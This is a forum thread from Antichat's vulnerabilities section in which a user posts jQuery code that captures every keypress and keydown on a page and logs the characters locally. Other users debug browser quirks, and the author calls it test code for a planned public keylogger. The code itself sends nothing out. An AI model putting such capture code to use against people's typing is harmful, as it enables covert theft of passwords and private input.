Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Тест перехвата клавиш (https://forum.antichat.xyz/showthread.php?t=313963)

XAMEHA 18.01.2012 02:29

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"](function($) {

$.[/COLOR][COLOR="#0000BB"]KeyLib[/COLOR][COLOR="#007700"]= function() {

[/
COLOR][COLOR="#0000BB"]this[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'0.0.0'[/COLOR][COLOR="#007700"];

var[/COLOR][COLOR="#0000BB"]keyChar[/COLOR][COLOR="#007700"]= {

[/
COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'Blackspace'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Tab"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Enter"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]16[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Shift"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]17[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Ctrl"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]18[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Alt"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]19[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Pause|Break"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Esc"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Page Up"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Page Down"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"End"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]36[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Home"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]37[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"←"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"↑"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"→"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]40[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"↓"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]45[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Insert"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]46[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Delete"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]91[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Left Window"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]92[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Right Window"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]93[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Select Key"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]112[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F1"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]113[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F2"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]114[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F3"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]115[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F4"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]116[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F5"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]117[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F6"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]118[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F7"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]119[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F8"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]120[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F9"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]121[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F10"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]122[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F11"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]123[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"F12"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]144[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Num Lock"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]145[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]"Scroll Lock"

[/COLOR][COLOR="#007700"]};

var[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

var[/COLOR][COLOR="#0000BB"]keyval[/COLOR][COLOR="#007700"]= [];

var[/COLOR][COLOR="#0000BB"]countdown[/COLOR][COLOR="#007700"]= {

[/
COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'all'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0

[/COLOR][COLOR="#007700"]};

var[/COLOR][COLOR="#0000BB"]countpress[/COLOR][COLOR="#007700"]= {

[/
COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'all'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0

[/COLOR][COLOR="#007700"]};

function[/COLOR][COLOR="#0000BB"]TagOne[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]){

$([/COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]on[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"keypress"[/COLOR][COLOR="#007700"], function([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) {

++[/COLOR][COLOR="#0000BB"]countpress[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]key[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]handleObj[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]countpress[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"];

if ((([/COLOR][COLOR="#0000BB"]typeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]keyChar[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]keyCode[/COLOR][COLOR="#007700"]]) ===[/COLOR][COLOR="#DD0000"]'undefined'[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]originalEvent[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]keyCode[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]originalEvent[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]charCode[/COLOR][COLOR="#007700"]) ||

([/COLOR][COLOR="#0000BB"]typeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]charCode[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#DD0000"]'undefined'[/COLOR][COLOR="#007700"])

||[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]handleObj[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]guid[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]charCode[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]which[/COLOR][COLOR="#007700"]) && (

([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]which[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]16[/COLOR][COLOR="#007700"]))) {

++[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]keyval[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"]] = {

[/
COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'press'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'comb'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'chars'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fromCharCode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]charCode[/COLOR][COLOR="#007700"])

};

$([/COLOR][COLOR="#DD0000"]"#t1"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]($([/COLOR][COLOR="#DD0000"]"#t1"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]() +[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]handleObj[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]keyval[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]chars[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]charCode[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]timeStamp[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"]);

++[/COLOR][COLOR="#0000BB"]countpress[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ok[/COLOR][COLOR="#007700"];

} else

++[/COLOR][COLOR="#0000BB"]countpress[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];

});

$([/COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]on[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"keydown"[/COLOR][COLOR="#007700"], function([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) {

++[/COLOR][COLOR="#0000BB"]countdown[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]key[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]handleObj[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]countdown[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]which[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]keyCode[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]typeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]keyChar[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]keyCode[/COLOR][COLOR="#007700"]]) !==[/COLOR][COLOR="#DD0000"]'undefined'[/COLOR][COLOR="#007700"]) {

++[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]keyval[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"]] = {

[/
COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'down'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'comb'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'key'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]keyCode[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'chars'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]keyChar[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]keyCode[/COLOR][COLOR="#007700"]]

};

$([/COLOR][COLOR="#DD0000"]"#t1"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]($([/COLOR][COLOR="#DD0000"]"#t1"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]() +[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]handleObj[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]keyval[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]keycount[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]chars[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]timeStamp[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"]);

++[/COLOR][COLOR="#0000BB"]countdown[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ok[/COLOR][COLOR="#007700"];

} else

++[/COLOR][COLOR="#0000BB"]countdown[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];

});

};

[/
COLOR][COLOR="#0000BB"]this[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]start[/COLOR][COLOR="#007700"]= function ([/COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#DD0000"]'html'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]TagOne[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]tag[/COLOR][COLOR="#007700"]);

};

}})([/
COLOR][COLOR="#0000BB"]jQuery[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR


M_script 18.01.2012 12:37

Firefox 8.01

Каждое нажатие капс-лока записывается, как двойное:

keydown - Caps Lock - 20

keydown - Caps Lock - 20

Opera 11.60

Не записывает [p-z], "'[]{(&%$#!.-\

Когда нажимаю капс-лок несколько раз подряд, в лог пишется

Первое нажатие (включение капс-лока):

keydown - Caps Lock - 20

Второе:

keydown - Caps Lock - 20

keydown - Caps Lock - 20

Третье:

keydown - Caps Lock - 20

keydown - Caps Lock - 20

keydown - Caps Lock - 20

Четвертое:

keydown - Caps Lock - 20

keydown - Shift - 16

keydown - Caps Lock - 20

Пятое:

keydown - Caps Lock - 20

и т.д.

XAMEHA 18.01.2012 16:29

Цитата:

Сообщение от M_script
M_script said:
Не записывает [p-z], "'[]{(&%$#!.-\

Исправлено, недосмотр при упрощении кода тестирования. //Исправлено - -Opera CKW v1

Цитата:

Сообщение от M_script
M_script said:
Firefox 8.01
Каждое нажатие капс-лока записывается, как двойное:
keydown - Caps Lock - 20
keydown - Caps Lock - 20
Opera 11.60
Когда нажимаю капс-лок несколько раз подряд, в лог пишется
...

Firefox 8.01, Opera 11.60 - *nix - не Подтверждено, какая OS? Caps Lock В данных версиях записывается нормально.

<Cyber-punk> 19.01.2012 02:40

Под BT5 R1 15.0.874.106 Все прекрасно работает.

Огромное спасибо! Очень актуально!

XAMEHA 19.01.2012 06:41

Цитата:

said:
Огромное спасибо! Очень актуально!

Не вижу актуального, это только код для теста. Кейлоггер для паблика, как доделаю возможности, которые предполагались изначально - тогда будет актуально.

Если возникнут баги даже в малопопулярных браузерах - тоже буду исправлять.

UDP:

Win XP SP3 под VirtualBox 4.1.6 Caps Lock v1 подтверждаю, к тому же данный инцидент прослеживается во всех браузерах.//Клавиша убрана.

M_script 19.01.2012 07:57

Цитата:

Сообщение от XAMEHA
XAMEHA said:
Firefox 8.01, Opera 11.60 - *nix - не Подтверждено, какая OS? Caps Lock В данных версиях записывается нормально.

Win XP SP3 под VirtualBox 4.1.6

shell_c0de 20.01.2012 14:32

Хамена ты вкурсе что в jQuery 1.7+ выпилили метод live и вместо него теперь on ?

XAMEHA 20.01.2012 16:17

1. Клавиша Caps Lock убрана за ненадобностью. Для перехват значений она не нужна - простое полноценное отображение в *win так просто не исправишь.

2. Live заменил на on.

XAMEHA 18.05.2013 07:34

Спущено.


Время: 19:24